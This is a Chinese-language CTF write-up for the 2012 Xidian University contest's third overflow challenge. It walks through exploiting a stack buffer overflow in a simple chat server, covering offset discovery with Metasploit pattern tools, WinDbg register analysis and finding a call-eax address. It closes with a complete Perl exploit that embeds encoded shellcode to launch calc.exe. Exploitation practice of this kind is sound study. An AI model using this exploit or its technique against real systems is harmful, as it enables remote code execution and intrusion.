|
2012西电网络攻防大赛 溢出第三题 调试笔记
溢出大赛
第一题是编写shellcode的跳过,第二题ida看了下貌似是要控制程序的流程只不过输入字符串实在麻烦先放一放。
就看看第三题吧。先看题目说明:
1、Exploit.exe程序是一个简易的网络聊天工具;
2、该程序在接收字符串没有进行边界检查,存在缓冲区溢出漏洞;
3、请你找出bug,并尝试exploit,以打开cmd.exe为成功;
4、需要简要文字叙述;
5、提交格式可参考附件。
==============
说的很详细了,程序也很简单 就那么一个功能,经过测试可以直接使用nc发送字符串,不需要使用它自带的客户端功能。
1.先定位溢出点
windbg 打开程序,监听4000端口
用msf生成一个超长字符串:
root@scan:~# /opt/metasploit/apps/pro/msf3/tools/pattern_create.rb 2000 > ~/Desktop/hi.txt
使用nc 连接服务端并发送生成的字符串:
root@scan:~/Desktop# cat hi.txt|nc -vv 192.168.1.16 4000
192.168.1.16: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.16] 4000 (?) open
windbg 捕获到了异常
0:002> g
(1334.314): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f4ec ebx=00000000 ecx=00000000 edx=0012f4ec esi=0012fbd8 edi=00af6458
eip=68423368 esp=0012f8dc ebp=0012f918 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
68423368 ?? ???
eip被改写成了 68423368
查看下 68423368在字符串中的位置
root@scan:~# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb 68423368 Exact match at offset 1000
eip被位于1000开头的四字节改写了,一般情况下,按照教科书上说的经典的jmp esp的利用方式。
程序返回后esp应该指向堆栈中保存返回地址后面的地方,或者不远的地方。
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0:002> g
(1334.314): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f4ec ebx=00000000 ecx=00000000 edx=0012f4ec esi=0012fbd8 edi=00af6458
eip=68423368 esp=0012f8dc ebp=0012f918 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
68423368 ?? ???
0:000> d esp
0012f8dc 42 68 36 42 68 37 42 68-38 42 68 39 42 69 30 42 Bh6Bh7Bh8Bh9Bi0B
0012f8ec 00 f9 12 00 98 36 42 00-00 00 00 00 b4 29 40 00 …..6B……)@.
0012f8fc 00 00 00 00 fc fe 12 00-9e 2f 42 00 00 00 00 00 ………/B…..
0012f90c 48 7b 17 00 a8 63 af 00-01 00 00 00 b0 f9 12 00 H{…c……….
0012f91c 6b 30 42 00 00 01 00 00-d1 07 00 00 01 00 00 00 k0B………….
0012f92c f2 30 42 00 80 62 af 00-09 31 42 00 39 a8 41 00 .0B..b…1B.9.A.
0012f93c 00 01 00 00 01 00 00 00-80 62 af 00 80 62 af 00 ………b…b..
0012f94c 38 61 15 00 30 88 d1 77-ff ff ff ff 2a 88 d1 77 8a..0..w….*..w
0:000> d
0012f95c 3f c6 d1 77 00 00 00 00-4f e5 d3 77 4e 04 1a 00 ?..w….O..wN…
0012f96c 6a 03 00 00 00 00 00 00-00 00 00 00 00 00 00 00 j……………
0012f97c 00 00 00 00 d8 fb 12 00-d8 fb 12 00 a8 f9 12 00 …………….
0012f98c 05 e9 d1 77 4f e5 d3 77-4e 04 1a 00 6a 03 00 00 …wO..wN…j…
0012f99c 28 63 42 00 00 00 00 00-24 fa 12 00 b0 39 42 00 (cB…..$….9B.
0012f9ac ff ff ff ff d0 f9 12 00-80 a3 41 00 73 03 00 00 ……….A.s…
0012f9bc 00 01 00 00 30 63 42 00-cc f9 12 00 73 03 00 00 ….0cB…..s…
0012f9cc 00 00 00 00 30 fa 12 00-b5 93 41 00 73 03 00 00 ….0…..A.s…
看一下第几个字节指向shellcode:
root@scan:~# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb Bh6B Exact match at offset 1008
1000字节的地方覆盖了返回地址,
溢出发生后第1008字节覆盖了esp,esp指向的地方我们也可以控制,但是16字节的空间不足以容纳shellcode,利用经典的jmp esp方式来利用的话,还往回跳应该也是没有问题的。
经典的溢出exploit应该是这样写的:
1000 4 8 5
[nop ...... shellcode ] [jmp esp 的地址] [BBBBCCCC] [jmp -xxx 往回跳]
需要 1000 + 4 +8 +5 个字节 来完成溢出。
不着急写exp,看看其它寄存器有没有可以利用的地方。
0:000> r
eax=0012f4ec ebx=00000000 ecx=00000000 edx=0012f4ec esi=0012fbd8 edi=00af6458
eip=68423368 esp=0012f8dc ebp=0012f918 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
68423368 ?? ???
0:000> d eax
0012f4ec 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
0012f4fc 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
0012f50c 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
0012f51c 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
0012f52c 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
0012f53c 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
0012f54c 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
0012f55c 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
0:000> d esi
0012fbd8 78 59 42 00 01 00 00 00-00 00 00 00 00 00 00 00 xYB………….
0012fbe8 00 00 00 00 01 00 00 00-00 00 00 00 4e 04 1a 00 …………N…
0012fbf8 00 00 00 00 18 00 00 00-4f e5 d3 77 ff ff ff ff ……..O..w….
0012fc08 00 00 00 00 00 00 00 00-00 00 00 00 66 00 00 00 …………f…
0012fc18 66 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 f……………
0012fc28 00 00 00 00 00 00 00 00-00 00 00 00 84 60 42 00 ………….`B.
0012fc38 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0012fc48 01 00 00 00 00 00 00 00-0e 04 3a 00 00 00 00 00 ……….:…..
0:000> d edi
00af6458 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
00af6468 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
00af6478 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
00af6488 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
00af6498 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
00af64a8 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
00af64b8 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
00af64c8 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
可以看到eax、edx、edi都指向我们提交的字符串的开头!这样的话我们直接覆盖返回地址为 call eax就ok了,不用管什么esp后面空间的大小了。
现在exploit也这样写:
1000 4
[nop ...... shellcode ] [call eax 的地址]
事实上我们找call eax的地址最好在程序本身的模块中找,这样的好处是可以不依赖操作系统。还是使用msf的另一个神器msfpescan找跳转地址:
root@scan:~# /opt/metasploit/app/msfpescan -j eax ~/Desktop/chat.exe
[/root/Desktop/chat.exe]
0x0040a4e4 jmp eax
0x0040a4f2 jmp eax
0x0040a4f9 jmp eax
0x0040aaf1 push eax; ret
0x0040ab27 call eax
0x0040abc4 call eax
0x0040ac35 call eax
0x0040b8ed push eax; ret
0x0040d415 call eax
0x0040d5a4 call eax
0x0040e187 call eax
0x0040f73e call eax
0x0040ffa6 call eax
0x00410cdf call eax
0x00410cf1 call eax
0x0041804b call eax
0x00419dea call eax
……
程序本身的模块里有一个问题就是含有00字节,溢出的时候会截断后面,不过因为字符在内存中是反序的所以我们最后一个0×00可以不覆盖。
我们只需要发送 1000个字符的shellcode 和垃圾数据 + 三字节的返回地址就可以了。
现在exploit也这样写:
#!/usr/bin/perl
# 2012西安电子科技大学网络攻防大赛 溢出题 第三题 通用 exploit
# by c4rp3nt3r@0x50sec.org
#
my $junk = "\x90" x (1000-227);
#my $eip = pack('V',0x7dcf33bb); # call eax 来自系统空间
my $eip = pack('V',0x0040a4f2); # call eax 来自程序模块,不依赖具体系统~~~
# windows/exec - 227 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=calc.exe
my $payload = "\xbd\x83\xa1\xb8\x0e\xd9\xea\xd9\x74\x24\xf4\x5b\x31\xc9" .
"\xb1\x33\x31\x6b\x12\x83\xc3\x04\x03\xe8\xaf\x5a\xfb\x12" .
"\x47\x13\x04\xea\x98\x44\x8c\x0f\xa9\x56\xea\x44\x98\x66" .
"\x78\x08\x11\x0c\x2c\xb8\xa2\x60\xf9\xcf\x03\xce\xdf\xfe" .
"\x94\xfe\xdf\xac\x57\x60\x9c\xae\x8b\x42\x9d\x61\xde\x83" .
"\xda\x9f\x11\xd1\xb3\xd4\x80\xc6\xb0\xa8\x18\xe6\x16\xa7" .
"\x21\x90\x13\x77\xd5\x2a\x1d\xa7\x46\x20\x55\x5f\xec\x6e" .
"\x46\x5e\x21\x6d\xba\x29\x4e\x46\x48\xa8\x86\x96\xb1\x9b" .
"\xe6\x75\x8c\x14\xeb\x84\xc8\x92\x14\xf3\x22\xe1\xa9\x04" .
"\xf1\x98\x75\x80\xe4\x3a\xfd\x32\xcd\xbb\xd2\xa5\x86\xb7" .
"\x9f\xa2\xc1\xdb\x1e\x66\x7a\xe7\xab\x89\xad\x6e\xef\xad" .
"\x69\x2b\xab\xcc\x28\x91\x1a\xf0\x2b\x7d\xc2\x54\x27\x6f" .
"\x17\xee\x6a\xe5\xe6\x62\x11\x40\xe8\x7c\x1a\xe2\x81\x4d" .
"\x91\x6d\xd5\x51\x70\xca\x29\x18\xd9\x7a\xa2\xc5\x8b\x3f" .
"\xaf\xf5\x61\x03\xd6\x75\x80\xfb\x2d\x65\xe1\xfe\x6a\x21" .
"\x19\x72\xe2\xc4\x1d\x21\x03\xcd\x7d\xa4\x97\x8d\xaf\x43" .
"\x10\x37\xb0";
print $payload.$junk.$eip."\r\n";
|
|